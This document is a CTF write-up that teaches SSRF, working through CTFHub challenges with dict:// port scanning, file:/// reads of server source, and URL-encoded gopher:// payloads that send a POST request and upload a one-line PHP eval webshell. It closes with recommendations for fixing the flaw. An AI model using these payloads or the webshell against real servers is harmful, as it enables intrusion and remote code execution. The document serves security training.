Concept#
SSRF, short for Server-Side Request Forgery, is a vulnerability that allows an attacker to send requests on behalf of the server. It enables the attacker to "forge" the request signature of the vulnerable server, thereby dominating the web, bypassing firewall controls, and gaining access to internal services.
Cause: This occurs because the server provides functionality to fetch data from other server applications but does not strictly filter or restrict the target addresses, allowing attackers to input arbitrary addresses for the backend server to send requests to and return data from those target addresses.
When might SSRF
occur? The most common scenario is when the server needs external resources.
For example, when a web
application needs to load a thumbnail from google
, the request might look like this:
https://public.example.com/upload_profile_from_url.php?url=www.google.com/cute_pugs.jpeg
When fetching cutpugs.jpeg
from google.com
, the Web
application must access google.com
and retrieve content from it.
If the server does not differentiate between internal and external resources, the attacker can easily issue requests:
https://public.example.com/upload_profile_from_url.php?url=localhost/secret_password_file.txt
This would make the web
server display a file containing passwords from the attacker's web
server.
Some functions that are often vulnerable to SSRF
attacks include Web hooks
, file uploads via URL
, document and image processing, link expansion, and proxy services (as these functions require access to and retrieval of external resources).
In PHP: Improper use of certain functions can lead to SSRF, such as:
- file_get_contents(): Reads the content of a file into a string; when the URL is an internal file, it reads the file's content first and then writes it, leading to file reading.
- fsockopen(): Obtains data (file or HTML) from a user-specified URL; this function establishes a TCP connection with the server using a socket to transmit raw data.
- curl_exec(): Performs penetration through the file, dict, and gopher protocols.
Hazards: Obtaining banner
information of reachable server services from the web
application, as well as collecting fingerprint recognition of internal web
applications.
Based on this information, further penetration can be conducted to attack systems or applications running on the internal network, obtaining weak passwords for internal network roaming.
Attacks can be implemented on vulnerable internal web
applications to obtain webshells
.
Exploiting vulnerabilities in components combined with protocols like ftp://
, file://
, dict://
, etc.
Vulnerability points:
- Sharing web content via
url
addresses. - File processing, encoding processing, transcoding services, etc.
- Online translation.
- Loading and downloading images via URL addresses.
- Image and article bookmarking features.
- Unpublished API implementations and other URL-calling functions.
- Website email receiving functionality from other email accounts.
Searching for the url
keyword:
share,wap,url,link,src,source,target,u,3g,display,sourceURL,imageURL,domain
Next, we will conduct practical explanations in conjunction with the ctfhub target.
0x01 Question One: Internal Network Access#
Simple demonstration:
Let's start with a warm-up example, still from the ctfhub
skill tree, web
question one: Internal Network Access.
The question prompt is: Try to access flag.php
located at 127.0.0.1
.
Opening the question shows a blank page, with the url
as xxx.com:yyyy/?url=_
.
Hmm, well, I don't know what that means, is this article over? No way.
url=127.0.0.1/flag.php
Alright, next.
0x02 Question Two: Port Scanning#
The question prompt states that the port is between 8000-9000
, so we can scan directly.
Here we need to use the dict
pseudo-protocol to scan, as the dict
protocol can be used to probe open ports.
You can refer to the reference article at the end for learning about pseudo-protocols.
We find port 8605
:
We obtain the flag
, and now let's move on to the next question: POST
request.
0x03 Question Three: POST Request#
The question description is:
"This time, send an HTTP POST request. By the way, SSRF is implemented using PHP's curl and will follow 302 redirects. Good luck, young man."
From the hint, we know that we need to use SSRF
to send a POST
request, which naturally leads us to think of gopher
.
The question also mentions curl
, which happens to support the gopher
protocol.
Therefore, this question is likely about using gopher
to send a POST
request and then obtaining the flag
.
First, let's check if flag.php
exists:
Indeed, flag.php
exists, and the response contains a debug
parameter key
.
<!-- Debug: key=4a0c2731eeeb016454ef8984765b990d-->
We need to use the gopher
protocol to post the key
to flag.php
via the redirect from 302.php
.
However, it is important to note that we need to send data from 127.0.0.1
.
Let's first see if we can read the contents of flag.php
and index.php
:
/?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
/?url=file:///var/www/html/index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
You can also refer to the reference article at the end for learning about pseudo-protocols.
Constructing gopher
data:
We first need to go through:
{host}:{port}/index.php?url=http://127.0.0.1/302.php
to redirect using the gopher
protocol, constructing the POST
. Combining gopher
, the data packet should look like this:
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=4a0c2731eeeb016454ef8984765b990d
Every part of the above data packet is essential. Note that:
- Pay special attention to the length of Content-Length; this field must be present, and the length must be correct.
- Remember to change the key.
- The number of URL encodings mainly depends on how many requests you make; for example, a direct POST request counts as one, while a direct
?url
adds another, totaling 2.
Here, I recommend a very useful online encoding website, CyberChef.
First, search for url encode
in the left search bar and drag this function to the function bar.
Copy the above code into it to get the result of the first URL encoding (note that by default, special characters do not need to be checked for encoding):
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Length:%2036%20%0AContent-Type:%20application/x-www-form-urlencoded%0A%0Akey=4a0c2731eeeb016454ef8984765b990d
Here, we need to handle the line breaks; the default line break encoding is %0A
, but we need to change it to %0D%0A
.
So, we search for Find / Replace
in the left and drag it to the function bar to configure accordingly:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Length:%2036%20%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Akey=4a0c2731eeeb016454ef8984765b990d
Finally, since we are going through ?url
, we need to encode it again:
The final packet is:
GET http://challenge-8270f589b8f8abf8.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%2520%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=4a0c2731eeeb016454ef8984765b990d HTTP/1.1
Host: challenge-8270f589b8f8abf8.sandbox.ctfhub.com:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sending the packet gets the flag
:
0x04 Question Four: File Upload#
The prompt is:
This time, you need to upload a file to flag.php. Good luck.
Directly accessing flag.php
at 127.0.0.1
, we find a file upload interface prompting us to upload a webshell
:
However, it seems there is only a file selection option and no upload button. Accessing ?url=file:///var/www/html/index.php
, we get the source code of index.php
:
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
Accessing ?url=file:///var/www/html/flag.php
, we get the source code of flag.php
:
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
if (isset($_FILES["file"]) && $_FILES["file"]["size"] > 0) {
echo getenv("CTFHUB");
exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
It can be seen that flag.php
only requires the uploaded file size to be greater than 0 to obtain the flag
, with no filtering.
Next, we will attempt to use the gopher
protocol to upload a file. First, we need to obtain the data packet for file upload to write the gopher
payload.
Thus, we will rewrite the front end of the file upload flag.php
page using F12
, adding a submit
button.
(However, clicking the submit button does not yield the flag
; it must be accessed locally from the target machine.)
Adding a line:
<input type="submit" name="submit">
This will create a submit button:
Select any file, enable packet interception, and click the submit button.
Since accessing flag
requires local access, we change the HOST
to 127.0.0.1
.
POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------22285140113870486144781081380
Content-Length: 379
Origin: http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080
Connection: close
Referer: http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------22285140113870486144781081380
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
<?php @eval($_POST['a']);
-----------------------------22285140113870486144781081380
Content-Disposition: form-data; name="submit"
Submit Query
-----------------------------22285140113870486144781081380--
Then, like the previous operation, URL encode once, change %0A
to %0D%0A
, and then URL encode again.
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64;%2520rv:84.0)%2520Gecko/20100101%2520Firefox/84.0%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8%250D%250AAccept-Language:%2520zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=---------------------------22285140113870486144781081380%250D%250AContent-Length:%2520379%250D%250AOrigin:%2520http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080%250D%250AConnection:%2520close%250D%250AReferer:%2520http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250A-----------------------------22285140113870486144781081380%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522yjh.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'a'%255D);%250D%250A-----------------------------22285140113870486144781081380%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A-----------------------------22285140113870486144781081380--%250D%250A
Using the gopher
protocol, we can successfully obtain the flag
:
Recommendations for Fixes#
- Disable unnecessary protocols and only allow HTTP and HTTPS requests to prevent issues caused by protocols like file://, gopher://, ftp://, etc.
- Use a whitelist approach to restrict access to target addresses, prohibiting requests to internal networks.
- Filter or block detailed information returned by requests; verifying the response from the remote server to the request is a relatively easy method. If the web application is fetching a certain type of file, validate the returned information against standards before displaying it to users.
- Validate the file format of requests.
- Disable redirects.
- Limit request ports to commonly used HTTP ports, such as 80, 443, 8080, 8000, etc.
- Standardize error messages to prevent users from determining the status of remote server ports based on error information.
Reference articles: